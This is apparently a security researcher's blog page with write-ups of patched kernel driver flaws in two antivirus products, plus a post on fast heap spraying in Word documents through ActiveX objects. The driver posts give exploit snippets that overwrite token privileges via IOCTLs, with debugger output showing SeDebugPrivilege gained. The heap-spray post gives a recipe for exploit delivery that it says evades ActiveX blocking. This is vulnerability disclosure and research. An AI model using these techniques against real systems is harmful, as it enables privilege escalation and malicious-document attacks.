Exploits

Here is a list of the 9 kernel vulnerabilities I discovered over a month ago in an antivirus product called IKARUS anti.virus which has finally been fixed. Most of the vulnerabilities were due to the inputted output buffer address (Irp->UserBuffer) being saved on the stack which is later used without being validated when using as an argument. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8300000c CVE-2017-14961 Arbitrary Write
0x83000058 CVE-2017-14962 Out of Bounds Write
0x83000058 CVE-2017-14963 Arbitrary Write
0x8300005c CVE-2017-14964 Arbitrary Write
0x830000cc CVE-2017-14965 Arbitrary Write
0x830000c0 CVE-2017-14966 Arbitrary Write
0x83000080 CVE-2017-14967 Arbitrary Write
0x830000c4 CVE-2017-14968 Arbitrary Write
0x83000084 CVE-2017-14969 Arbitrary Write

Fixed version numbers (vendors advisory soon to be released)

Vulnerable version Fixed version
Software 2.16.7 2.16.18
ntguard.sys 0.18780.0.0 0.43.0.0
ntguard_x64.sys 0.18780.0.0 0.43.0.0

I’m exploiting the vulnerable subroutine used by ioctl 0x8300000c by overwriting the _SEP_TOKEN_PRIVILEGES structure where arg_20 is our inputted output buffer address.

In our process _SEP_TOKEN_PRIVILEGES structure I’m overwriting a byte in the “Present” field and a byte in the “Enabled” field with the hardcoded value of 0x11 by calling the vulnerable subroutine twice.

DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH

Last month I started hunting for kernel bugs again and it wasn’t too long before I found a nice collection of bugs in an antivirus product called Vir.IT eXplorer. In total 6 kernel vulnerabilities were discovered. All of the vulnerabilities were due to the inputted buffer not being validated. The below table lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x82730078 CVE-2017-16233 Buffer Overflow
0x82730048 CVE-2017-16234 Denial of Service
0x82730098 CVE-2017-16235 Arbitrary Write
0x82730028 CVE-2017-16236 Denial of Service
0x8273007C CVE-2017-16237 Arbitrary Write
0x82730080 CVE-2017-16238 Arbitrary Write

All of the vulnerabilities were fixed and an updated product released within a day.

  Vulnerable version Fixed version
Software 8.5.39 8.5.42
Viragtlt.sys 1.80.0.0 1.81.0.0
Viraglt64.sys 1.0.0.11 1.0.0.12

I decided to exploit the ioctl 0x8273007C by overwriting the _SEP_TOKEN_PRIVILEGES structure.

Here I am overwriting certain offsets of the _SEP_TOKEN_PRIVILEGES structure with byte 0x11, actually overwriting a byte in the “Present” field and a byte in the “Enabled” field. This will give us the “SeDebugPrivilege” privilege. Once the privilege has been obtained all that needs doing is to inject shellcode into a privileged process. The reason we need two writes as Kyriakos Economou @kyREcon pointed out in Windows 10 (1703) the “Enabled” privileges are checked against “Present” privileges. You can read Kyriakos’s paper here

For this exploit you can overwrite with whatever values/offsets you like to get the desired privileges, I just happened to use value 0x11 in this case knowing it will give me the “SeDebugPrivilege” privilege as I had previously written another exploit which I’m still waiting to publish once that software fix has been released.

The vulnerable code has two XCHG instructions used to overwrite the _SEP_TOKEN_PRIVILEGES structure “Present” and “Enabled” field bytes in one go.

loc_FFFFF88000DE3E79:                                                 
  mov     rbp, [rdi]        ; rdi points to input buffer 
  mov     rsi, cr8          ; rbp holds our SEP address - input[0]          
  mov     ecx, 2
  cmp     sil, cl
  jnb     short loc_FFFFF88000DE3E95
  mov     rax, cr8
  mov     cr8, rcx
  mov     sil, al
loc_FFFFF88000DE3E95:                                                 
  call    sub_FFFFF88000DEC128                          
  mov     rcx, [rdi+8]       ; rcx holds "Present" bytes - input[1]
  xchg    rcx, [rbp+0]       ; Overwriting "Present" bytes
  mov     rdx, [rdi+10h]     ; rdx holds "Enabled" bytes - input[2] 
  xchg    rdx, [rbp+8]       ; Overwriting "Enabled" bytes

Looking at our _SEP_TOKEN_PRIVILEGES structure in WinDbg

kd> !process 0 0 cve-2017-16237.exe
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe

kd> !process fffffa8032939600 1
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe
    VadRoot fffffa80323a91b0 Vads 27 Clone 0 Private 2014. Modified 0. Locked 0.
    DeviceMap fffff8a003a77760
    Token                             fffff8a0031a8060
    ElapsedTime                       00:00:00.686
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (2362, 50, 345) (9448KB, 200KB, 1380KB)
    PeakWorkingSetSize                2362
    VirtualSize                       16 Mb
    PeakVirtualSize                   16 Mb
    PageFaultCount                    2359
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      2089

kd> dt nt!_TOKEN fffff8a0031a8060
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xfffffa80`31e23d40 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 1
   +0x078 UserAndGroupCount : 0xf
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x2c0
   +0x084 DynamicCharged   : 0x400
   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 0
   +0x090 UserAndGroups    : 0xfffff8a0`031a8370 _SID_AND_ATTRIBUTES
   +0x098 RestrictedSids   : (null) 
   +0x0a0 PrimaryGroup     : 0xfffff8a0`03202830 Void
   +0x0a8 DynamicPart      : 0xfffff8a0`03202830  -> 0x501
   +0x0b0 DefaultDacl      : 0xfffff8a0`0320284c _ACL
   +0x0b8 TokenType        : 1 ( TokenPrimary )
   +0x0bc ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0c0 TokenFlags       : 0x2a00
   +0x0c4 TokenInUse       : 0x1 ''
   +0x0c8 IntegrityLevelIndex : 0xe
   +0x0cc MandatoryPolicy  : 3
   +0x0d0 LogonSession     : 0xfffff8a0`03b398a0 _SEP_LOGON_SESSION_REFERENCES
   +0x0d8 OriginatingLogonSession : _LUID
   +0x0e0 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x1f0 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x300 pSecurityAttributes : 0xfffff8a0`0328df10 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x308 SessionObject    : 0xfffffa80`320f83e0 Void
   +0x310 VariablePart     : 0xfffff8a0`031a8460

Before overwriting the bytes it will look like

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`031a80a0  00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00  ................
fffff8a0`031a80b0  00 00 80 00 00 00 00 00                          ........

and afterwards

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02110000
   +0x008 Enabled          : 0x110000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`02b08a70  00 00 11 02 06 00 00 00-00 00 11 00 00 00 00 00  ................
fffff8a0`02b08a80  00 00 80 00 00 00 00 00                          ........

Checking the privileges

kd> !token fffff8a0031a8060
_TOKEN fffff8a0031a8060
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1000
Groups: 
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-544
    Attributes - DenyOnly 
 04 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-118426
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs: 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - 
 34 0x000000022 SeTimeZonePrivilege               Attributes - 
Authentication ID:         (0,1d038)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: e8a62            ParentToken ID: 1d03b
Modified ID:               (0, e8571)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

The exploit is written only to work from a medium integrity process as I’m using the NtQuerySystemInformation(SystemHandleInformation) API to leak the address of the process token. It has been tested on 64bit Windows 7 and Windows 10 (1709).

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH

Recently I’ve been researching into ActiveX controls in Office documents as I had some ideas I wanted to test out after reading Dominic Wang’s paper “Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability” [1] and Haifei Li’s and Bing Sun’s presentation slides “Attacking Interoperability: An OLE Edition” [2].

Some vulnerabilities that have been exploited in the past (CVE-2013-3906, CVE-2015-2424, CVE-2015-1641) have been embedding ActiveX controls to perform the heap spray whether be in Open XML format or encapsulated in RTF format. During my tests it was obvious that spraying the heap just took ages, waiting sometimes minutes before triggering the vulnerability. The exploits I examined either used one large ActiveX1.bin file or multiple ActiveX[x].bin files. This post just shows how we can spray the heap in seconds rather than minutes, mainly working with MS Word documents on a fully patched Windows 7 32bit with Office Professional 2010 with Open XML formatted files.

Office Open XML structure
I started looking into an Open XML formatted document which is basically a zip archive so just by renaming the extension to a zip we can extract, make changes to the files and zip it up again.  Running the tree command in the extracted folder of a simple Word document we see the files listed below which contains one ActiveX object.

|   [Content_Types].xml
|
+---docProps
|       app.xml
|       core.xml
|
+---word
|   |   document.xml
|   |   fontTable.xml
|   |   settings.xml
|   |   styles.xml
|   |   stylesWithEffects.xml
|   |   webSettings.xml
|   |
|   +---activeX
|   |   |   activeX1.bin
|   |   |   activeX1.xml
|   |   |
|   |   \---_rels
|   |           activeX1.xml.rels
|   |
|   +---media
|   |       image1.wmf
|   |
|   +---theme
|   |       theme1.xml
|   |
|   \---_rels
|           document.xml.rels
|
\---_rels
        .rels

activeX1.bin is our Compound Document Format file which would contain our sprayed data and activeX1.xml would contain our classid to be used. When adding or removing ActiveX objects manually there are 5 files you’ll need to update

[Content_Types].xml   – contains entries pointing to individual activeX[x].xml entries
document.xml                – contains ids which refer activex[x].xml files set in document.xml.rels
document.xml.rels        – contains individual image[x].wmf and activeX[x].xml entries, unique rIds
activeX[x].xml               – Calls classIDs in each activeX[x].xml files
activeX[x].xml.rels       – Points to individual activeX[x].bin files
activeX[x].bin                – Compound File Binary Format

Here we could modify activeX[x].xml.rels to point to the same ActiveX1.bin compound document file as normally Office creates multiple unique activeX[x].bin files. This would reduce our total file size, save some seconds at spray time and just easy to manage.

Compound File Binary Format
Using Microsoft’s Office Visualization Tool (OffVis) we can deconstruct the compound document file activeX1.bin in order to understand its structure and values. The Microsoft specifications document [3] explains everything you need to know about the format.

A compound file is a structure for storing a file system, similar to a simplified FAT file system inside a single file, by dividing the single file into sectors. It is capable of storing data that is structured as storage and streams.

Viewing our activeX1.bin file which is this case the classid is instantiating Flash. Here in the OLESSDirectoryEntry[0] section we could null out the values of the clsidThis field as when the document is opened the classid is read from our ActiveX[x].xml file. Another entry we could null out is the ModifyTime field values. One important field is Object Type. This field MUST be 0x00, 0x01, 0x02, or 0x05, depending on the actual type of object.

Unknown or unallocated   0x00
Storage Object                     0x01
Stream Object                      0x02
Root Storage Object           0x05

Non-root directory entries are normally marked as either stream or storage elements. So leaving OLESSDirectoryEntry[0] entry alone as Type 5 the other directory entries OLESSDirectoryEntry[1] OLESSDirectoryEntry[2] and OLESSDirectoryEntry[3] we could be changed to Type 0. Once Type changed to 0 the Data entry in OffVis dissappears, also SizeLow field values can then also be nulled. The SizeLow and SizeHigh fields represent the stream size (8 bytes). This 64-bit integer field contains the size of the user-defined data, if this is a stream object. For a root storage object, this field contains the size of the mini stream.

The benefit of these changes is that we can remove any unwanted data at the end and just have an ActiveX1.bin file of only 2048 bytes. As for nulling out clsidThis and ModifyTime fields just removes any reference to the classid or time modified. If we wanted to say encapsulate our sprayed data we could change the Type object value to 2 and SizeLow value as you can see below but not really necessary so no need to complicate stuff. when it comes to the spraying our data I noticed all we need to do is just append our sprayed data to our 2048 bytes compound file without making any further changes. This is enough to load it in memory.

Class IDs to use
Now the question comes to what classIDs do we use for our heap spray? ClassIDs are set in the ActiveX[x].xml files where then the associated libraries loads. After experimenting with different classids I realised any classID could be used, depending on what classID is being called affects the performance drastically.

For example exploits CVE-2013-3906 or CVE-2015-1641 used classID {1EFB6596-857C-11D1-B16A-00C0F0283628} (MSComctlLib.TabStrip.2).  This refers to library C:\Windows\system32\MSCOMCTL.OCX which is 1,070,232 bytes in size. This library is huge so the amount of time to spray accumulates on how many chunks being sprayed. So if I used a classID which referred to a library of a small file size the spray time reduced drastically. Taking it a step further, it was discovered that using a non-existing classID could be used such as {00000000-0000-0000-0000-000000000001}. Since this classID does not exist on the system there would be no referring library to load so in theory would further reduce the spray time. During tests this proved to be the case and heap spraying was successful and the time was further reduced.

The activeX[x].xml file would normally look like this

<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<ax:ocx ax:classid='{00000000-0000-0000-0000-000000000001}'
ax:persistence='persistStorage' r:id='rId1'
xmlns:ax='http://schemas.microsoft.com/office/2006/activeX'
xmlns:r='http://schemas.openxmlformats.org/officeDocument/2006/relationships'/>

Heap Spraying times
To get an idea of what kind of times we are dealing with, MetaSploit’s TIFF Integer Overflow exploit [4] was used which uses ActiveX to spray the heap with 591 chunks using the classid {1EFB6596-857C-11D1-B16A-00C0F0283628} referring to MSCOMCTL.OCX library. To spray the heap it took around 1 minute 10 seconds. Now replacing the classid with {00000000-0000-0000-0000-000000000001} it took only around 6 seconds which is a huge difference.

The table below shows the times it takes to spray, memory addresses sprayed upto and memory allocated based on the number of chunks. These figures will vary but it just gives you an idea.

The size of the activeX1.bin file used on Office 2010 32bit was 514KB which takes a chunk size of 0x81000 (528384 bytes) in memory.

526,336 bytes = 2048 (header) + 1024 (block size) * 512 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x16450000 300 mb
1000 10 seconds 0x28DD0000 575 mb
2000 20 seconds 0x4D3A0000 1.1 gb
4000 * 58 seconds 0x7FEB0000 2 gb

* This high number of chunks might not work and document will not properly open.

The size of the activeX1.bin file used on Office 2010 64bit was 1026KB which takes a chunk size of 0x101000 (1052672 bytes) in memory.

1,050,624 bytes = 2048 (header) + 1024 (block size) * 1024 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x0000000027dc0000 583 mb
1000 12 seconds 0x000000004a2f0000 1.1 gb
2000 27 seconds 0x000000008f450000 2.1 gb
4000 120 seconds 0x0000000117910000 4 gb

Memory allocated on Windows 7 32bit with Office 2010 32bit

Memory allocated on Windows 7 64bit with Office 2010 64bit

Mitigation
Spraying the heap using classids that do not exist on the system prevents a number of mitigations. So disabling ActiveX controls in Microsoft Office via the Trust Center settings or via Office kill bit in the registry are ineffective. Only using Microsoft EMET’s heap spray mitigation would provide some protection.

Summary
To get the fastest spray possible the main points to take away is

1. Use one ActiveX1.bin compound document file
2. Use a smaller ActiveX1.bin file with more xmls calling it
3. Use a classID that doesn’t exist on the system

All my Word document spray files and perl scripts you can download from here. When creating your own documents with the scripts just extract a existing document and overwrite with the files created by the scripts.

References
[1] https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives
[2] https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf [PDF]
[3] https://msdn.microsoft.com/en-gb/library/dd942138.aspx
[4] https://www.rapid7.com/db/modules/exploit/windows/fileformat/mswin_tiff_overflow